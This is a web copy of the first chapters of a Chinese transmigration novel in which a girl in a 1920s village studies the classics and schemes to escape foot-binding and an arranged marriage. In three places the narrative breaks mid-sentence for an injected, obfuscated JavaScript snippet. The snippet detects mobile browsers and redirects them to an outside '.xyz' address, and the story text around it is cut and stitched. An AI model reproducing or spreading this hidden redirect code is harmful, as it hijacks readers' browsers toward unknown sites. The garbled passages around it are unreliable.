《穿到民国好好学习生活》 1. 入族学读《女儿经》 地处华北的禹州省永陵市,有一个人口不多的睢县,以出产有名的睢县毛笔,在整个中国都小有名气。 现在已经是民国十四年,在那些大城市里,洋人们办了许多教会学校,连中国人自己办的各类新式学校,都如雨后春笋一样在神州大地遍地开花。在大城市里,小孩子去新式学堂已成为一种潮流。 但一个旧的时代,毕竟不是你大喊一声:“我要消灭你,你快灭亡吧。”它就那么听话地被消灭,被灭亡了。 睢县西南方向的东桥镇上,有个近两百户人家的大庄村,因最开始的时候先是杜氏先祖在此扎根繁衍,此村就叫杜家庄。后来,陆续有很多外姓迁来这里落地生根,人口渐渐比杜姓还多,然而也没有改掉杜家庄这个名字。 杜家庄中有一条玉带河,玉带河以南主要是杜姓人居住,以北就是许多杂姓了。 这个不大不小的古老村庄,对外面文明车轮的响声,好像没有听得太真切,人们还是按照旧的方式生活着,而且看起来过得还不赖。 庄上的杜氏子弟历来读书,不管做官不做官,杜氏子弟向来以书香门第自居的。 坐落在南村的杜氏祠堂里,还专门辟出了三间屋子作为族学课堂,还请来族中博学长者专门在此教育族中子弟。 现在,这族学里的学生少了一些,但小孩子朗朗的读书声,在四下里地清脆地回荡着,倒也显得还算生气勃勃。 课堂屋北头孔子像下面,一张藤椅子上坐着一位穿黑绸棉袍的老先生,他头上戴着黑色的瓜皮帽,鼻梁上还挂了一副老花镜子。这位是族学里负总责的九先生,他是杜氏族里公推的最有学问的夫子,早年间中过秀才的,因此很得族中老少的敬重。 这里的族学,可不是按学习程度分班念书的。十来个学生里,既有七八岁的蒙童(才开始读书识字的儿童),才在念三百千、神童诗一类入门的书。也有十岁出头,正在啃四书五经中的入门篇《论语》《诗经》之类的。也有十四五岁的男孩子,四书五经通了大半,还在这里继续深造国学。 总之,族学里的学生程度不一,唯一的老师九先生是一对一或一对二地教导学生。每个学生轮流拿着自己的课本上去,听九先生讲几页的生书再下来。 九先生给一个人讲书时,其余人背诵的背诵,书写的书写,都有事情干,当然也少不了偷懒的。 在这一群小男孩儿里,有一个半大不小的女孩子,她生得细瘦单薄,性别上算是万绿丛中一点红,也是特别的一道风景线。 这一会儿轮到她上去听新书去了,她就抱着一本书,离开座位走到九先生跟前。 九先生拿着教棍,指着书上的某一行,吩咐这女孩儿从那里开始念。 那女孩子就捧着书,朗声念了起来: 升斗上,要公平,买物件,莫亏人,夫君怒,说比论,好言劝,解愁闷。 夫骂人,莫齐逞,或不是,陪小心,纵怀憾,看你情,祸自消,福自生。 …… 女孩儿念了一会儿,那位九先生就摇头晃脑地止住她,慢悠悠地给这女孩儿解释意思。 解释完了,又对这女孩儿谆谆地教导,说女孩子要守好女孩子的本份,多在女孩的分内事上用心,读书识字倒是不大要紧的…… 这女孩子恭敬地听着,听九先生讲完今天的《女儿经》,表情很温驯地退下来了,老老实实地回到座位。然后,就开始朗读今天学的内容。 这女孩子名叫杜珍卿,祖母、母亲都早逝,父亲早年出门,一去杳无音讯,就跟一个老祖父相依为命。她面上看起来老实,心里却一点不温驯,心里无穷地mmp。只不过封建乡村规矩多礼数大,那些表面功夫若不做好,家里家外与人话柄,到古板的祖父那里难免动辄得咎,所以这些年修炼出老实鹌鹑的外形。 所谓《女儿经》,就是针对女孩子的思想道德行为规范: 在父母长辈面前,要老实勤快,打不还手,骂不还口…… 到公婆丈夫那里,也要恭敬孝顺,不要嫌贫爱富。 丈夫病了,软语温存地侍候着,受了责骂自己受着。 还讲对亲戚怎样,对邻居怎样,blabla…… 《女儿经》中这么高标准的女性,根本就是丢弃自我、为男人造福的无敌工具人。 她来到这里八九年,还真见识过这样的女性,真是燃烧自己,照亮别人——这样的女性即便逆来顺受、牺牲自我,也未必受到别人赞美感激,有时候反倒更能激出人性的恶来。 可恨这《女儿经》,虽说是九先生特意教她学的,想要弹服她的一些所谓“出格”行为,却也是她祖父杜太爷很赞成她学的。 她祖父杜太爷管教孩子,推行的是棍棒教育。她这些年挨过无数打,她也学得乖滑了,若非重大问题决不跟她祖父杠着来,当然,她也不会随便跟师长杠着来。 这《女儿经》学就学了,而且要学得倒背如流,融会贯通,学得叫这些人挑不出毛病来。 珍卿读了一会儿书,见桌上有一个小纸包,打开一看,里面有两块花生糕,黄脆脆的看着就好吃。珍卿一侧脸儿,看见右面的邻桌上,一个男孩子正拿着书本挡住头,亮闪闪的眼睛看着她。 这是她的好朋友,——杜氏族长的小孙子杜玉琮,跟她是同宗族的近亲戚。这小伙子人特别好,知道珍卿在家没有好饭吃,总是很细心地给她带东西到学堂吃。 看九先生正给人讲书,没有看向这里,珍卿拿课本挡着,很快吃了一块花生糕,后面的人却重重踢了一下她凳子。 珍卿连忙把纸包收起来,回头看了后桌一眼。她这个后桌,是个胖得像肉山一样的胖子,叫崔胖虎,在族学里招猫逗狗,最惹人厌的一个。 崔胖虎不是本村人,她娘是本村的人,他外祖父杨大老虎一家都在这里。只因崔胖虎在省城太能惹事,惹了他不该惹的人,因此,他娘就带着他远避到娘家来了。崔胖虎来了没多久,就成杜家庄一大祸害。到族学来了以后,那更是人厌狗嫌。珍卿暗里教训他不只一回,这个胖纸就是不长教训,老是来招惹她。 珍卿今天懒得理会他,瞪他一眼就不再搭理他。干脆接着背诵《女儿经》,她小时候就背过,现在很容易就背会了。她一边嘴里背诵着,眼睛却看到窗子外面。 现在才是初春,还是春寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411952|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料峭的时候。枝头微微有一点新绿,但农村的景象还很寂静、单调。这杜氏族学的院子里,倒有几棵清雅的梅花树,在春天的寒意里独逞艳姿,现出一些新鲜的意味来。 她是四岁那年穿来的,这个身体的妈妈开始教她认字。妈妈在方块的红纸上,写下工整的楷字,一个个地教她认读。一年多以后,她已经认了一两千繁体汉字。可她妈妈是个病弱的人,在她五岁时就撒手人寰。可这位母亲病得很沉重时,还强撑着给她寻了个国学先生。她临终前还留下遗言说,珍卿这样伶俐,将来一定要让她读书,做个跟她不一样的人。 亲妈过世之后,亲爹就利索地抛下女儿,背井离乡奔前程去了,他这一去七八年光阴,几乎是失去音信了。珍卿还没守满母孝,她祖父就开始张罗,想给她定下一门亲事。 珍卿奶奶、亲妈皆早逝,在此时人的眼中,她根本没有得到好的教养,再加上她自幼病弱,根本没有好人家愿意为子孙定下她。 杜太爷能寻到的“亲家”,多是冲着她是家中独孙女,想必将来嫁妆非常丰厚,打着是财产的主意。这种人家,珍卿当然不愿意。而且,那些来求亲的人家,基本都要求给她裹脚,那她就更不愿意了。 她为了拒婚和抗拒裹脚,眼看跟这杜太爷讲不了理,一开始就豁出去了,把自己塑造成没规矩的野丫头。总之,小孩子能干的坏事,她全都做尽做绝了,成功获得了“泼皮”“野人”“夜叉”等光荣称号。如此这般,成功吓走了大票想结亲的人家。 当然,在使用这些方法时,她祖父杜太爷打她,那也真是往死里打的。这种伤敌一千、自损两千的办法,着实不宜常用。 那么除了嫁人之外,她还有什么更好的出路呢?当然是好好念书,将来凭本事吃饭喽。 还算幸运的是,在这个急剧变化的时代,女孩子读书也不是那么另类的事了。最妙的是,她妈留下遗言叫她念书,而她又是杜太爷膝下的独苗苗,算一算还是有点金贵的。 回想六七岁以后,她学习起来真是疯狂。那真是头悬梁椎刺股,起五更爬半夜,使出了两辈子吃奶的劲——终得匡先生另眼相看。 因匡先生学问好、见识深,杜太爷对他极为敬重依从,匡先生说的话杜太爷多半会听的。有匡先生开导杜太爷,有时在祖孙俩中间调解矛盾,珍卿这个天外来客,才在杜太爷这个蛮暴土著手下,挺过了这么多个年头。 匡先生是非常博学的人,性格也很温和。他给珍卿启蒙之后,给她通讲了四书,五经也学了大半,穿插学了《孝经》《小学》《唐诗三百首》等等。反正学的东西还真是不老少,所有学的知识,匡先生都叫珍卿知晓意思、熟练背诵。 匡先生还手把手地教她临一些书帖,严格要求她认真地练习书法,总之,在匡先生的栽培下,她的国学和书法,现在都已经很有基础了。 师生两个人也是惺惺相惜,名为师生,实则情同父女。 可是,去年冬天的时候,匡先生突然跟杜太爷请辞,说他有非常紧要的事,非去办不可,不能再继续教导珍卿。 师生俩在一块儿七年多,匡先生乍一离开,珍卿一直觉得不得劲。 2. 珍卿路遇尴尬事 匡先生走了以后,珍卿想方设法地跟她祖父说,她要去新式学堂念书。她说现在很多达官贵人家的女孩儿,都会去新式学堂镀一层金,结亲时夫家那里也觉得好看些。 杜太爷虽然是个旧式的人,但匡先生多年给他灌输,说珍卿怎么怎么天材,怎么怎么好学,只要好生培养她,就会像《孝经》说的那样,将来能够“立身行道,扬名于后世,以显父母”。直白的意思就是说,如果他支持珍卿读书,她就有望成为一个很有成就的才女啥的,让教育抚养她的人,获得很大的名望荣誉。 自从珍卿生母过世,他爹也走了这么多年。一直是杜太爷在管教孙女,可以说肩负了父母的职责。那如果她真能出人头地,在人前混出什么名声,最该显赫荣耀的,应该就是他这个祖父了。 因为这个别人觉得可笑的念想,杜太爷有时候还挺开明,这些年一直支持珍卿念书……况且他虽然是个失败的生意人,但早年走南闯北,还是让他比别人见识多些。那些个达官贵人们,都送儿女去念新式学堂,新式学堂必定有些益处的。 县里也办了新式学校,但杜太爷觉得,都需要由他考察一番,看看师资怎么样,风气怎么样,能不能学到正经东西,才能决定让不让孙女上去。杜太爷这一考察,可不就考察了三四个月。他越考察越觉得不像话、不满意,不能叫孙女去。 新式学校一时没有满意的,珍卿又不能在家虚度光阴。 于是杜太爷仗着在族里辈分高,跟族长说了一下子,又给九先生交了“束脩”,就把珍卿送到族学里跟着九先生学。 珍卿三个月前才进的族学,在这之前,匡先生已经开始教她学《春秋》。可是进了族学以后,这九先生给她讲《春秋》总是糊弄地讲。弄得她总学不明白,老是自己看注释去理解。 珍卿一开始还以为,九先生是浪得虚名,肚里没货,所以讲不出来。 等九先生寻了一本《女儿经》,特意给她细细致致地讲起来,她才意识到这个九先生满脑袋的封建流毒,糟老头子坏滴很。他不想让珍卿在族学跟一帮男孩子一块读书,却又不好明说,就懒得教她学《春秋》,拿一本《女儿经》来糊弄她。 珍卿正在装背书,不觉间走了神,忽然自己椅子上被踢一下,给她吓了一大跳。就见身后的崔胖虎书也不好好背,拿着几张写了字的纸在手里摇来摇去。崔胖虎身后瘦小的陈学礼,一边留意九先生别发现这里,一边惶急地去夺崔胖虎手里的纸。 崔胖虎经常欺负穷学生陈学礼,抢他写的大字是天天会有的节目。可幸的是,今天陈学礼一下子把大字从崔胖虎那夺回来了。 没有戏弄到陈学礼,崔胖虎又来揪珍卿的辫子,珍卿可不跟他客气,装作被他揪疼了,身体重心直接向后面桌子压上去,直接把崔胖虎桌子靠倒了。 崔胖虎的桌子翻在他自己身上,桌上的砚台纸笔落了他一身子,把他的好锦缎衣服也弄脏了。 珍卿赶紧站起身,嘴里连声说着“抱歉”,伸出一双细溜溜的胳膊,要给压在胖虎身上的桌子抬起来。可是她“力气太小”了,桌子每拽回一半她胳膊就脱力,拽到半路的桌子跌回去又砸在胖虎身上。这胖虎子想爬也爬不起来,给他折腾得吱哩哇啦地叫。 珍卿反复弄了好几回,眼见上面坐的九先生脸色不太好看了,她也见好就收,在同窗的帮助下给崔胖虎的桌子抬了起来。 崔胖虎造的跟个花斑猪一样,同窗们都偷偷捂着嘴笑。他肥胖的身躯好不容易挣腾起来,猛出手就要打珍卿,珍卿瘦瘦的身板儿很灵活,很容易就躲开了。崔胖虎一拳打空,一个趔趄差点又栽倒了。 眼见九先生站起身,要过来这里了。珍卿才赶紧给崔胖虎鞠躬倒歉,说他揪自己辫子,给她吓得一个哆嗦,没留神把他桌子靠倒了。珍卿的小伙伴杜玉琮,也来劝崔胖虎,说他大人大量,别跟个小丫头片子计较。崔胖虎气哼哼骂咧咧的。 下学时,崔胖虎家下人来接时,珍卿又赶忙上前陪礼,把跟崔胖虎倒歉的说辞,“诚惶诚恐”地又说了两遍,姿态放得特别低。崔胖虎家里下人,也不好多说什么。 来这里的几年,珍卿悟到一个大道理: 生存环境不利的时候,私下里该咋办就咋办,但是面子功夫一定要做好,一定要装得非常温良恭俭让,让别人挑不出明错来。 九先生出来得晚点儿,看见珍卿高傲地睨了她一眼,冷哼了一声说:“你把《女儿经》学好,就省事了。” 珍卿恭恭敬敬地说了声“先生慢走”,没有答他的话。 ———————————————————————————— 从杜氏祠堂出来,珍卿和最好的小伙伴杜玉琮,及一般好的小伙伴李宝荪、杜玉理一起走了一段路。 杜玉理家在南村东边,最先转方向离开大部队。李宝荪自己家在北村,但他的姑姑就嫁在南村,半道上抬手喊他去吃糕。李宝荪也脱离队伍了。他们两个人一走,玉琮就非常高兴地拉了珍卿的手,说:“珍卿,我爹今天回来,指定带了好吃的,明天给你带学堂去。” 珍卿也喜眉笑眼地说: “《西游记》我又画了一本,已经快得了,明天拿给你。我祖父说明天回来,说给我带大麻花,我给你留两根儿,只给李宝荪和玉理一根儿。” 杜玉琮一听,更是高兴不已,握紧珍卿的手对她说:“珍卿,你对我太好了。” 珍卿也被他感染:“你对我才好呢。我一辈子记你的好。” 两个小孩儿就拉着手面对面地傻笑,说着“你对我最好”“我对你最好”的话,一起蹦蹦跳跳地往西面走。 到了玉琮家,两人道了别,珍卿一个人往北村走,过了玉带河上的一座木桥,寻方便的路往自己家方向走。 一路上遇到人,珍卿都会问个“好”,人家也回问一声“大小姐下学啦”,大家都客客气气的。 走到柳树堰塘的时候,见前面小路上一个大着肚子的女人,吃力地挑着两桶水,脚上不太稳当,差点摔了一跟头。 珍卿连忙上前扶了这女人一把,这女人虚弱地对珍卿挤出个笑容,说:“大小姐下学了?” 珍卿点了点头,这李家嫂子个头不低,却瘦得一把骨头,满面风霜,眼窝陷得很深,珍卿真不忍多看她,说:“李家嫂子,怎么不让长工挑啊。” 这李家嫂子只是抿嘴,憔悴地笑笑,没有多话,又挑起水继续往她家走。这个李嫂子,就是珍卿学堂里小伙伴李宝荪的亲娘。李家也有三四顷地,大小是个地主了,李宝荪的娘按理说也是地主家的奶奶,该呼奴使婢地享福的。可是这一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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珍卿想请杜太爷找个好点的厨娘回来,但杜太爷挑三拣四,就是挑不到好的厨娘来替代。匡先生带走老妈子也三个多月,珍卿和杜太爷祖孙俩,天天凑合着吃罗妈做的黑暗料理。 杜太爷是个异常古怪的人,他整天吃得跑肚拉稀,他自己从不说罗妈什么,也从不许珍卿抱怨罗妈。珍卿忍不住说两句,祖父就嫌她嘴上恶毒,就要拿竹尺打她的手。 珍卿为了身体健康,常用自己写写画画的东西,跟小伙计交换些果子糕饼吃。 唉,想想也是一把泪啊,在杜家庄,人人称她一声“大小姐”,她却混成这个鬼样子。还好,有玉琮这么好的小伙子,整天想着投喂她。 杜玉琮一家跟她家是很近的亲戚:杜玉琮爷爷的爷爷,是珍卿爷爷的亲大哥,同父同母的。 总之,就是珍卿的老祖奶奶,都快要抱重孙子了,五十多岁又老蚌生珠儿,生下珍卿的这位祖父。老来得子生下的孩子,要么极端伶俐,很容易出神童的;要么就非常平庸,平庸得让人尴尬的那种平庸。很不幸,珍卿的祖父就是后者。她祖父干啥啥不行,还憨犟憨犟,连跟亲戚间的关系也处不好。 杜家庄的杜姓人基本都住在南村,就杜太爷这一家儿孤零零地住在北村,落在一群外姓人中间。 杜玉琮的爷爷,既是杜家庄的村长,也是睢县杜氏这一辈的族长,还是颇有能量的。珍卿祖孙两个虽然单独落在北村,倒也无人敢欺。 3. 孤小姐自得其乐 回到自己家的珍卿,在第二进院子里站了一会儿。前面厨房里总有动静传出,给这个太安静的家里烘托出一点人气。 珍卿嘱咐家里管家大田叔,把前玉琮家给的五香兔肉热一热,叫他嘱咐罗大妈千万不要炒着热,放在篦子上蒸热。这罗大妈简直是黑暗料理界的扛把子,炒十盘菜九盘都会炒糊的,还死爱放酱油,说人家大厨都爱放酱油。但是她又极端地霸道,家里长工想荐老婆来当厨娘,这罗妈竟然摔锅拍铲有许多难听的话。 珍卿也是隐约听大田叔说过,说是罗妈的叔叔救过杜太爷——当年杜太爷走南闯北做生意,遇险不是一两回,幸而身边有两个忠仆屡次救他。其中一个就是罗妈的亲叔叔,因而杜太爷对罗妈忍耐力很强,逼着珍卿也培养这种忍耐力。而另一个忠仆是祖奶奶派给他的长工,有一次为了救杜太爷被狼咬死了。所以杜太爷人虽然古板专横,他对家里长工、佣人却很不错,不像别家地主对下边人百般克扣折辱的。 这时,珍卿推开她的外书房的门——没错,她有一个外书房,有一个内书房。 外书房是她祖父特意设的,就是为了有时候,他在这院子里招待客人,能让客人看见他孙女写字背书,好显摆他孙女的聪明伶俐,更表现他做祖父的教导有方。 珍卿写字背诵,多在这外书房的。今天要写至少四十篇大字,她最近在自学五经里的《春秋》,自己给自己规定了写字背书的任务。而族学里的九先生,给她布置了抄十遍《女儿经》,她在学里写了有两遍,还差着八遍。 将笔墨纸砚都摆弄好了,珍卿站在窗后的桌前,闭眼深呼吸了几次,心里默默地念: “我爱背书,我爱写字;我爱背书,我爱写字……” 八个字翻来覆去念了二十遍,心理暗示大法开始起作用。她把《女儿经》摊开,朗声读了五遍,而后拿起一支狼毫笔,蘸了墨汁心平气和地写起来。 她自然不喜欢背写《女儿经》,可是最初来这里的时候,她也未必喜欢背书写字。人在屋檐下,不得不低头。一个人没有强悍到改变环境、逃离环境,至少要保证不被环境视作异端,在此基础上,再从生活里的缝子里找到逃离的契机。这些年做了许多心不甘情不愿的事,至少她没有早早订亲裹脚,她这一辈子还是未成年人,学到的国学知识已经比上辈子作为大学生多得多了。 她的老师匡先生对她很好,也不是一开始就对她好。现在的老学究教女学生多数不上心,匡先生一开始也不例外。她也是费了九牛二虎之力,努力把书读好、把字写好,才终于让匡先生另眼相看,甚至惊叹她有灵性,以后许多年才事事袒护起来。 所以啊,《神童诗》里说:万般皆下品,唯有读书高。那真是有道理的。 珍卿从五岁学写字,写了七八年,很能沉心专注的。她精神一沉进去,就好像整个世界就剩下她自己,什么心思也不想,什么声音也听不见。这其实是特别美妙的境界。 她这些年被杜太爷关在家里,常日决不许出院子去玩,一年也走不了几趟亲戚。之所以没被关出神经病,也跟她从学业中获得的乐趣有关。 看见珍卿收笔,伸了个懒腰,在外面守了一会儿的管家大田叔,走进来笑眯眯道:“大小姐,该吃饭了。” 珍卿摊靠在椅子上,问他是什么钟点了,大田叔说:“下一点了。” 珍卿摸了摸饿瘪的肚子,兴致缺缺地说:“就在这儿吃吧,除了五香兔肉,别的菜,都不要。” 大田叔应了一声,又说:“大小姐,还给你煨了白萝卜肉汤呢。肉是今天新买的。” 珍卿眼睛一亮:“那行,把汤也端来吧,你也留些喝,别给你老婆喝。” 现在都没有冰箱,稍微有条件的人家,习惯把肉腌制成腊肉,一连吃上一年甚至几年的。 前年,黑暗料理界的罗扛把子,也不知道怎么瞎捣鼓的,反正她腌的腊肉后来就长蛆儿了。珍卿当时吃完长蛆但洗过的肉,总觉得味道古怪,肚子里不大舒服,后来大田叔把腌肉的罐子拿出来,她亲眼看见腊肉长蛆冲鼻子。她当时就吐了个昏天黑地。从此以后,她宁愿饿死也绝不吃腊肉,但凡吃肉只吃新鲜的,还有外面熟肉铺子里做好的鸡鸭牛的腌肉、酱肉。 罗大妈是大田叔的老婆,两口子为人行事真是两个极端。大田叔是家里家外一把抓,是珍卿祖父的好帮手,对珍卿也是无微不至地照顾。而那位罗大妈,真是干啥啥不行、吃啥啥不剩的甩手货,真是好汉配癞妻,一言难尽。 大田叔憨厚地笑了下,“唉”了一声,就让珍卿自己洗洗手,饭菜他马上端过来。 一会儿饭菜端来了,珍卿坐在桌前,先喝了白萝卜肉汤,浑身热乎气都上来了,又美美地就着五香兔肉吃了不少白米饭。 一吃完饭她困劲就上来了,大田叔收拾餐盘,珍卿就自己到后面摸上床睡。大田叔在外面嘱咐她别睡时间长了,免得晚上睡不着。 所以珍卿只睡了一个钟头,大田叔就把她叫起床。她下午不必去族学,就在家里自学《春秋》,兼写字。 族学里的九先生是个疏懒的老头儿。他一天只上半天课,下午半天他的节目是很多的。九先生学问极好,四里八乡都有些人望。所以有时乡里乡亲有点矛盾啊,或者有什么难事办不好啊,会请他去调解调解,斡旋斡旋。——他是四里八乡有名的金牌调解员。 除了当个业余调解员之外,九先生平生最大的爱好就是打麻将。因为九先生总当调解员,他在杜家庄左近的村庄,结识了不少热爱国粹的牌搭子,他的牌局总是多得喜人。不给人调解斡旋事情时,九先生就坐上他的马车,很快乐地去外村赴牌局的。 珍卿午睡后开始自学《春秋》,她学的是比较通行的《左氏春秋》。 《左氏春秋》实际上是一部史书。她记得上辈子上初中,学过一篇《曹刿论战》,就是出自左氏春秋。史书如果能读明白,那还是比较有意思的。 为了熟记内容,通晓文义,珍卿一下午的时间除了理解文章内容,剩余的时间就在朗读、背记和默写。为了学得巩固,她明日还要复习的。 有人也许要问,作为一个后世来的人,明知道已经民国了,为啥要这么苦学四书五经?一则是因为杜太爷很固执,总觉得儒家经典永不过时,任何时候都能安身立命的,还能让人“朝为田舍郎,暮登天子堂”。还有一个原因就是,珍卿听同县的杨家三表叔说过,现在的新式学堂也很重视国学,尤其中国人办的学堂更加偏重国学。所以国学是非学不可的。 可是只学国学也是让人心里没底。听说新式学堂有入学考试的,也不知道入学考试考得啥。 眼看着天色不早,珍卿自己点了煤油灯,把灯火拨得亮亮的。这时自学的内容就先结束,贪多嚼不烂,不差这一时半会儿的。 她答应给玉琮带《西游记》的画册子——今天还是赶工做完,明天给他带过去。 匡先生不太会画画,自然教不了珍卿。珍卿画画属于自学成材,其实也只是画一些墨水白描的图案,她现在是不会用颜料的。 罗大妈正在外面扫院子,扫到没有几扫帚,她烟瘾有点犯了,就坐到珍卿书房对面的廊下,吧嗒吧嗒地抽水烟。她看见珍卿把灯燃得那么亮,就跑到对过儿来,在窗子外面说珍卿费油,在旁边絮絮叨叨好一会儿。 罗妈见珍卿专注地画着啥,完全没搭理她的意思,她自己没意思走了。 笑话,好容易恢复能当飞行员的视力,她犯的着为省点灯油钱祸祸自己的眼睛吗?这可是她家的灯油,不是别人家的。 罗妈从院子里出去,珍卿甩甩右手腕子,把毛笔换到左手上,继续画她的画儿。她左手也能写画,不过比右手稍弱一些。 她小时候身体弱,又想讨父母和祖父欢心,表现自己学习很勤奋。她最开始学描红的时候,就容易手腕子疼,只得左右手并用,写字的数量才赶上去。以后就养成了习惯,匡先生知道后也没有把她怎么样。只是杜太爷很容不下,他说用左手写字,将来会变成个很不安份的人——珍卿觉得他完全是在胡扯八道。杜太爷觉得自己一定是对的,他一看见珍卿用左手,就拿戒尺打她。珍卿用左手时只好背着杜太爷。 把画册画完后,珍卿做了两遍眼保健操,收拾好东西出去溜达溜达。一到外面觉得温度真低,又加了一件大襟坎肩儿。又到院子里溜达着活动筋骨,过一会儿她又爬梯子,站到晾晒东西的平房顶上,向远处看看笼着迷雾的原野,保养保养眼睛。但没看多久,天就全黑下来了。 现在是农历的二月初,春耕还没有开始,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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珍卿想了想,对三个花猪说:“我们杜家是书香门第,你们是书香门第的猪。给你们念点诗文听吧。”珍卿想不起哪朝哪代的诗人歌颂过猪的。无奈只得念了一首写苏东坡的《猪肉颂》。 她大声念完之后,见三只花猪哼哼唧唧的,像不高兴似的,珍卿哈哈乐了几声。俗话说,当着矮子别说短话,当着猪最好也别说红烧肉好吃。 笑了两声,珍卿哄它们道:“好好好,不说吃猪肉的事儿。给你们念首儿歌,赞美猪的儿歌,呃,真想不起来。听个兔子歌儿吧。听着啊:小了兔了子了,白了又了白,两了只了耳了朵竖了起了来,爱了吃了萝了卜了爱了吃了菜,蹦了蹦了跳了跳了真了可了爱,嘿嘿。” 一念完,看那三只花猪哼唧得更厉害,拿屁股对着珍卿,珍卿笑:“你们还真扭上了,莫非真听得懂,当着猪的面夸兔子,你们也不高兴?” 没多久罗妈扯着嗓子喊吃饭,珍卿就回去吃晚饭去了。 长工们的饭还没好,还干活干得热火朝天。有个女工叹着说道: “我看大小姐真是可怜,天天被圈在家里,玩也不许出去玩,老老实实念完书,也没个人跟她说话,小妮儿一个人晃来晃去,只能跟猪崽儿说说话。” 另一个女工说:“财主家的小姐,不都是大门大出、二门不迈。叫你说的好受罪似的。俺要是财主家的小姐,衣来伸手,饭来张口,啥事都不操心,俺也愿意圈在家里。” 一个老长工说:“别人家的小姐,还能串个门子走个亲戚,你看俺们家这太爷,哪有啥亲戚走动?大小姐一年走亲戚,也走不了两三趟……” 工人们又议论起,为啥杜太爷没啥亲戚走动…… 珍卿把晚饭对付过去,在后面睡房前的窄院子里晃了一会儿消食。然后就刷牙、洗脸、洗屁股、洗脚,洗漱干净了立马就上床入睡了。 这个时候不过八点多,还没到九点钟,但这时的农村人都睡得早。这是没办法的事情。农村里又没普及电灯,人们过的还是日出而作、日落而息的老生活。 杜家有豆油灯、煤油灯,还有红色白色的蜡烛,但没有太重要的事儿,也不会那么随便浪费着用。而且,珍卿怕把眼睛搞坏了,在这种照明条件下,她根本没兴趣过啥夜生活的。 晚上七八点睡,早上五六点起的日子,她过了这八九年,也着实是习惯了。上辈子的神经衰弱和失眠症,这辈子也没有了,连脾气都变好了呢。但是这样的生活有时候难免单调沉闷,就像原始初民面对庞大的天地自然,难免感到时间的空旷浩大,会有茫然恐惧之感。所以她无论如何要争取上学的机会,她不能真在时空的洪流中迷失自己。 4. 新旧学堂哪个好 第二天早晨天还没亮,用人和工人就起来忙活。珍卿听见扫院子的声音,起身看见天还没亮,她阖上眼睛又眯一会儿。起了床罗妈过来给她梳头——她家里没有买丫鬟,也没有专门侍候小姐的老妈子。 等罗妈给她梳完头以后,珍卿在镜子里看得嘴直抽,这头发梳得跟猪八戒的耙子耙得一样。她等罗妈去给她打洗脸水,又把头发打散重新梳一遍,梳得并不服帖,可总比罗妈梳得好多了。梳完头她把牙刷打湿蘸了牙粉,开始细细致致地刷牙漱口。 她亡母在世的时候,就开始给她用牙刷、牙粉——可以说是杜家庄的头一份,封建乡村地主清洁牙齿的方式也原始。她这里的爹妈当初冲出封建牢笼各自逃婚,继而成就了他们的一段姻缘,他们逃到外面终究是见过世面的。所以珍卿的这一副好牙,也是杜家庄同龄女孩子中的头一份。 可自从跟杜太爷相依为命,祖孙俩因卫生习惯很闹腾过一段时间。杜太爷嫌珍卿穷讲究,说她一天到晚洗这洗那洗得太多。 这时候的传染病每隔一段时间就爆发一次,有的传染病在后世一出生就能打疫苗,一辈子都不会感染,在这里爆发一次就能死很多人。她敢不好好洗这洗那的吗? 这时候的农村,卫浴条件不太好,一到冬天大家一两月不洗澡是常事。珍卿跟杜太爷强烈要求,至少十天里简单地洗个澡,杜太爷都觉得她是异类。 杜太爷自己不太讲究卫生,别说洗洗刷刷的事他能糊弄就糊弄,上大号擦屁屁竟然也舍不得买草纸用,就用点儿树叶子、砖棍儿、土坷垃啥的,抹两下子就算完事。 珍卿有时候草纸用完,这老头儿也舍不得给她买。她用写过字的纸来代替草纸,这老头子都看得生气,非说她这样是在亵渎圣贤。 为了争取好的卫生条件,那些年跟杜太爷斗智斗勇,珍卿现在想想都觉得荒诞。 这一会儿珍卿刷完牙,罗妈把洗脸水打来,看见她重新梳了头发,非说珍卿挑三拣四名堂多,还用了一个挺新鲜的歇后语,说她秋后到地里——专门找茬儿。 珍卿也不跟她吵嘴,就是不说话,洗了个脸,搽了喜妹牌的香膏子,然后就开始晨读。 族学里南村的学生,通常先去族学里面早读,早读完了再回家吃早饭。珍卿住在北村,离得较远,而她祖父杜太爷,也信得过她的自觉性,就让她在自己家里早读,吃晚早点再去族学上课。 读了大半个时辰书,珍卿就着热粥吃了大田叔特意给她摊的鸡蛋饼子。吃完饭就挎上书包上学去了。到了族学,珍卿跟小伙伴们打了招呼。李宝荪说昨天在他姑家吃的米糕特别好吃,特意给珍卿带了一块。杜玉理把他的陀螺带来了,说待会儿大家一起玩。 珍卿看着无忧无虑的李宝荪,想到昨天在路上碰到他娘,珍卿憋了半天,还是啥也没说出来。 同村的人也有看不过李宝荪的奶奶和爹虐待媳妇的,人家仗义执言劝李家人积德行善,对媳妇别那么手辣。可是李家这些人啊,真是嘴甜心苦的货,当着外人一脸和善,答应得好好的要善待媳妇,背后却变本加厉地打骂媳妇,让她干更多的活儿。所以外人对李家人的好心劝说,对李家嫂子来说其实火上浇油。 但珍卿得了李宝荪一块米糕,到底心里过意不去,还是把李宝荪拉到角落里,问他:“宝荪,你想做个没娘的娃子吗?” 李宝荪神情懵懂,但立刻摇拨浪鼓似的摇头,珍卿就语重心长地说: 